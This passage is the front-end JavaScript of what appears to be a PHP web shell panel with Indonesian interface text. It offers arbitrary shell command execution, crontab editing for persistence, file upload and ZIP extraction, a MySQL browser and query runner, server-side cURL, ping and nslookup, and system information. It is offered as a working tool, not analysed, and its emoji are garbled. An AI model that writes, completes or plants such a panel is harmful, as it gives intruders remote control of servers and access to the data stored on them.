{ try { const res = JSON.parse(xhr.responseText); resultDiv.innerHTML = `<div class="success">โ ${res.message}</div>`; fileInput.value = ''; } catch(e) { resultDiv.innerHTML = `<div class="error">Error: ${e.message}</div>`; } } else { resultDiv.innerHTML = `<div class="error">Upload failed</div>`; } }; xhr.send(formData); } // ========== EXTRACT MANAGER ========== function renderExtractManager() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐ฆ Extract / Unzip Files</h2> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>๐ฆ ZIP File:</strong></label> <input type="text" id="extractZipFile" style="width:100%" placeholder="/path/to/file.zip"> </div> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>๐ Extract To:</strong></label> <input type="text" id="extractTo" style="width:100%" value="${currentPath}"> </div> <button onclick="processExtract()">๐ฆ Extract Now</button> <div id="extractResult"></div> </div> `; } function processExtract() { const zipFile = document.getElementById('extractZipFile').value; const extractTo = document.getElementById('extractTo').value; if (!zipFile) return alert('Masukkan path ZIP file'); const resultDiv = document.getElementById('extractResult'); resultDiv.innerHTML = '<div class="loading"></div> Extracting...'; ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: extractTo}, function(res) { if (res.status === 'success') { resultDiv.innerHTML = `<div class="success">โ ${res.message}<br>๐ Target: ${escapeHtml(res.target)}</div>`; } else { resultDiv.innerHTML = `<div class="error">โ ${res.message}</div>`; } }); } // ========== CRON MANAGER ========== function renderCronManager() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>โฐ Cron Job Manager</h2> <div style="background:#111;padding:15px;margin:10px 0"> <h3>โ Add Cron Job</h3> <input type="text" id="cronSchedule" style="width:100%" placeholder="* * * * *" value="* * * * *"> <input type="text" id="cronCommand" style="width:100%;margin-top:10px" placeholder="/usr/bin/php /path/to/script.php"> <button onclick="addCron()" style="margin-top:10px">Add Cron</button> </div> <div id="cronList"></div> <div class="info" style="margin-top:15px"> <pre>Cron Format: * * * * * command โ โ โ โ โ โ โ โ โ โโ Day of week (0-7, 0 or 7 = Sunday) โ โ โ โโโโ Month (1-12) โ โ โโโโโโ Day of month (1-31) โ โโโโโโโโ Hour (0-23) โโโโโโโโโโ Minute (0-59)</pre> </div> </div> `; refreshCronList(); } function refreshCronList() { ajaxPost({ajax_action: 'cron_list'}, function(res) { const cronDiv = document.getElementById('cronList'); if (res.status === 'success' && res.output && !res.output.includes('no crontab')) { const lines = res.output.split('\n'); let html = '<h3>๐ Current Crontab</h3><table style="width:100%"><tr><th>Schedule</th><th>Command</th><th>Action</th></tr>'; for (let i = 0; i < lines.length; i++) { const line = lines[i].trim(); if (line && !line.startsWith('#')) { const parts = line.split(' '); const schedule = parts.slice(0, 5).join(' '); const command = parts.slice(5).join(' '); html += `<tr> <td><code>${escapeHtml(schedule)}</code></td> <td><code>${escapeHtml(command)}</code></td> <td><button class="btn-small btn-danger" onclick="deleteCronLine(${i})">Delete</button></td> </tr>`; } } html += `</table>`; cronDiv.innerHTML = html; } else { cronDiv.innerHTML = '<div class="warning">No crontab for this user</div>'; } }); } function addCron() { const schedule = document.getElementById('cronSchedule').value; const command = document.getElementById('cronCommand').value; if (!command) return alert('Masukkan command'); ajaxPost({ajax_action: 'cron_add', schedule: schedule, command: command}, function(res) { if (res.status === 'success') { alert('Cron job added successfully'); refreshCronList(); document.getElementById('cronCommand').value = ''; } else { alert('Failed to add cron: ' + (res.message || 'Unknown error')); } }); } function deleteCronLine(lineNum) { if (!confirm('Delete this cron job?')) return; ajaxPost({ajax_action: 'cron_delete', line: lineNum}, function(res) { if (res.status === 'success') { alert('Cron job deleted'); refreshCronList(); } else { alert('Failed to delete cron: ' + (res.message || 'Unknown error')); } }); } // ========== DATABASE MANAGER ========== function renderDbManager() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐๏ธ Database Manager</h2> <div style="background:#111;padding:15px;margin:10px 0"> <h3>๐ Database Connection</h3> <input type="text" id="dbHost" placeholder="Host" value="localhost" style="width:100%"> <input type="text" id="dbUser" placeholder="Username" value="root" style="width:100%;margin-top:10px"> <input type="password" id="dbPass" placeholder="Password" style="width:100%;margin-top:10px"> <input type="text" id="dbName" placeholder="Database Name (optional)" style="width:100%;margin-top:10px"> <input type="text" id="dbPort" placeholder="Port" value="3306" style="width:100%;margin-top:10px"> <button onclick="connectDatabase()" style="margin-top:10px">๐ Connect</button> </div> <div id="dbResult"></div> </div> `; } function connectDatabase() { dbConfig = { host: document.getElementById('dbHost').value, user: document.getElementById('dbUser').value, pass: document.getElementById('dbPass').value, name: document.getElementById('dbName').value, port: document.getElementById('dbPort').value }; const resultDiv = document.getElementById('dbResult'); resultDiv.innerHTML = '<div class="loading"></div> Connecting...'; ajaxPost({ajax_action: 'db_connect', ...dbConfig}, function(res) { if (res.status === 'success') { let html = `<div class="success">โ Connected successfully!</div>`; if (res.databases && res.databases.length) { html += `<h3>๐ Databases</h3><select id="dbSelect" onchange="selectDatabase()" style="width:100%">`; for (let db of res.databases) { html += `<option value="${escapeHtml(db)}" ${db === dbConfig.name ? 'selected' : ''}>${escapeHtml(db)}</option>`; } html += `</select><br><br>`; } if (res.tables && res.tables.length) { html += `<h3>๐ Tables in ${escapeHtml(dbConfig.name)}</h3> <div style="display:flex;flex-wrap:wrap;gap:10px">`; for (let table of res.tables) { html += `<button class="btn-small" onclick="browseTable('${escapeHtml(table)}')">๐ ${escapeHtml(table)}</button>`; } html += `</div>`; } html += `<div style="margin-top:20px"> <h3>๐ SQL Query</h3> <textarea id="sqlQuery" style="width:100%;height:150px" placeholder="SELECT * FROM ..."></textarea> <button onclick="executeQuery()" style="margin-top:10px">โถ๏ธ Execute</button> </div> <div id="queryResult"></div>`; resultDiv.innerHTML = html; } else { resultDiv.innerHTML = `<div class="error">โ Connection failed: ${escapeHtml(res.message)}</div>`; } }); } function selectDatabase() { dbConfig.name = document.getElementById('dbSelect').value; connectDatabase(); } function browseTable(tableName) { const resultDiv = document.getElementById('dbResult'); resultDiv.innerHTML = '<div class="loading"></div> Loading table...'; ajaxPost({ajax_action: 'db_browse_table', ...dbConfig, table: tableName}, function(res) { if (res.status === 'success') { let html = `<h3>๐ Table: ${escapeHtml(tableName)}</h3>`; if (res.columns && res.columns.length) { html += `<div class="file-table-wrapper"><table class="db-table"> <thead><tr>`; for (let col of res.columns) { html += `<th>${escapeHtml(col)}</th>`; } html += `</thead><tbody>`; for (let row of res.rows) { html += `<tr>`; for (let col of res.columns) { html += `<td><div style="max-width:300px;overflow-x:auto">${escapeHtml(row[col] || 'NULL')}</div></td>`; } html += `</tr>`; } html += `</tbody></table></div>`; html += `<button onclick="connectDatabase()" style="margin-top:15px">โฌ ๏ธ Back</button>`; } resultDiv.innerHTML = html; } else { resultDiv.innerHTML = `<div class="error">โ ${escapeHtml(res.message)}</div>`; } }); } function executeQuery() { const query = document.getElementById('sqlQuery').value; if (!query) return alert('Masukkan SQL query'); const resultDiv = document.getElementById('queryResult'); resultDiv.innerHTML = '<div class="loading"></div> Executing query...'; ajaxPost({ajax_action: 'db_query', ...dbConfig, query: query}, function(res) { if (res.status === 'success') { if (res.results && res.results.length) { const columns = Object.keys(res.results[0]); let html = `<div class="file-table-wrapper"><table class="db-table"> <thead><tr>`; for (let col of columns) { html += `<th>${escapeHtml(col)}</th>`; } html += `</thead><tbody>`; for (let row of res.results) { html += `<tr>`; for (let col of columns) { html += `<td><div style="max-width:300px;overflow-x:auto">${escapeHtml(row[col] || 'NULL')}</div></td>`; } html += `</tr>`; } html += `</tbody></table></div>`; html += `<div class="success">โ ${res.results.length} row(s) returned</div>`; resultDiv.innerHTML = html; } else { resultDiv.innerHTML = `<div class="success">โ Query executed successfully, no results returned</div>`; } } else { resultDiv.innerHTML = `<div class="error">โ ${escapeHtml(res.message)}</div>`; } }); } // ========== COMMAND ========== function renderCommand() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>โจ๏ธ Command Execution</h2> <div style="display:flex;gap:10px;flex-wrap:wrap"> <input type="text" id="cmdInput" style="flex:1" placeholder="ls -la" onkeypress="if(event.keyCode===13) executeCommand()"> <button onclick="executeCommand()">Execute</button> </div> <div id="cmdOutput" style="background:#0a0a0a;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:500px;border-radius:5px"></div> </div> `; } function executeCommand() { const cmd = document.getElementById('cmdInput').value; if (!cmd) return; const outputDiv = document.getElementById('cmdOutput'); outputDiv.innerHTML = '<div><div class="loading"></div> Executing...</div>'; ajaxPost({ajax_action: 'execute_cmd', cmd: cmd}, function(res) { if (res.status === 'success') { outputDiv.innerHTML = `<pre style="margin:0;white-space:pre-wrap;word-wrap:break-word">${escapeHtml(res.output)}</pre>`; } else { outputDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`; } }); } // ========== SECURITY SCAN ========== function renderSecurityScan() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐ Security Scan</h2> <button onclick="runSecurityScan()">๐ก๏ธ Run Security Scan</button> <div id="securityResult"></div> </div> `; } function runSecurityScan() { const resultDiv = document.getElementById('securityResult'); resultDiv.innerHTML = '<div class="loading"></div> Scanning...'; ajaxPost({ajax_action: 'security_scan'}, function(res) { if (res.status === 'success') { let html = '<div class="success"><h3>โ Scan Complete</h3></div><pre>'; for (let item of res.info) { html += item + '\n'; } html += '</pre>'; resultDiv.innerHTML = html; } else { resultDiv.innerHTML = `<div class="error">${res.message}</div>`; } }); } // ========== NETWORK TOOLS ========== function renderNetworkTools() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐ Network Tools</h2> <div class="tab-buttons"> <button class="tab-btn active" onclick="showNetworkTab('ping')">๐ก Ping</button> <button class="tab-btn" onclick="showNetworkTab('curl')">๐ cURL</button> <button class="tab-btn" onclick="showNetworkTab('nslookup')">๐ NSLookup</button> </div> <div id="pingTab" class="tab-content active"> <h3>Ping</h3> <div style="display:flex;gap:10px"> <input type="text" id="pingHost" style="flex:1" placeholder="google.com"> <button onclick="doPing()">Ping</button> </div> </div> <div id="curlTab" class="tab-content"> <h3>cURL</h3> <div style="display:flex;gap:10px"> <input type="text" id="curlUrl" style="flex:1" placeholder="https://example.com"> <button onclick="doCurl()">cURL</button> </div> </div> <div id="nslookupTab" class="tab-content"> <h3>NSLookup</h3> <div style="display:flex;gap:10px"> <input type="text" id="nslookupDomain" style="flex:1" placeholder="google.com"> <button onclick="doNslookup()">Lookup</button> </div> </div> <div id="networkResult" style="background:#0a0a0a;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:400px"></div> </div> `; } function showNetworkTab(tab) { const pingTab = document.getElementById('pingTab'); const curlTab = document.getElementById('curlTab'); const nslookupTab = document.getElementById('nslookupTab'); const btns = document.querySelectorAll('.tab-btn'); pingTab.classList.remove('active'); curlTab.classList.remove('active'); nslookupTab.classList.remove('active'); btns.forEach(btn => btn.classList.remove('active')); if (tab === 'ping') { pingTab.classList.add('active'); btns[0].classList.add('active'); } else if (tab === 'curl') { curlTab.classList.add('active'); btns[1].classList.add('active'); } else { nslookupTab.classList.add('active'); btns[2].classList.add('active'); } } function doPing() { const host = document.getElementById('pingHost').value; if (!host) return alert('Masukkan host'); const resultDiv = document.getElementById('networkResult'); resultDiv.innerHTML = '<div class="loading"></div> Pinging...'; ajaxPost({ajax_action: 'network_ping', host: host}, function(res) { if (res.status === 'success') { resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`; } else { resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`; } }); } function doCurl() { const url = document.getElementById('curlUrl').value; if (!url) return alert('Masukkan URL'); const resultDiv = document.getElementById('networkResult'); resultDiv.innerHTML = '<div class="loading"></div> Fetching...'; ajaxPost({ajax_action: 'network_curl', url: url}, function(res) { if (res.status === 'success') { resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`; } else { resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`; } }); } function doNslookup() { const domain = document.getElementById('nslookupDomain').value; if (!domain) return alert('Masukkan domain'); const resultDiv = document.getElementById('networkResult'); resultDiv.innerHTML = '<div class="loading"></div> Looking up...'; ajaxPost({ajax_action: 'network_nslookup', domain: domain}, function(res) { if (res.status === 'success') { resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`; } else { resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`; } }); } // ========== INFO ========== function renderInfo() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>โน๏ธ System Information</h2> <button onclick="refreshInfo()">๐ Refresh</button> <div id="infoResult" style="margin-top:15px"></div> </div> `; refreshInfo(); } function refreshInfo() { const div = document.getElementById('infoResult'); div.innerHTML = '<div class="loading"></div> Loading system info...'; ajaxPost({ajax_action: 'get_info'}, function(res) { if (res.status === 'success') { let html = '<table class="info-table">'; for (let [key, value] of Object.entries(res.info)) { html += `<tr><th>${escapeHtml(key)}</th><td>${escapeHtml(String(value))}</td></tr>`; } html += `</table>`; div.innerHTML = html; } else { div.innerHTML = `<div class="error">${res.message}</div>`; } }); } // Initialize buildMenu(); loadAction('filemanager'); </script> </body> </html> <?php ?>
Save File
Cancel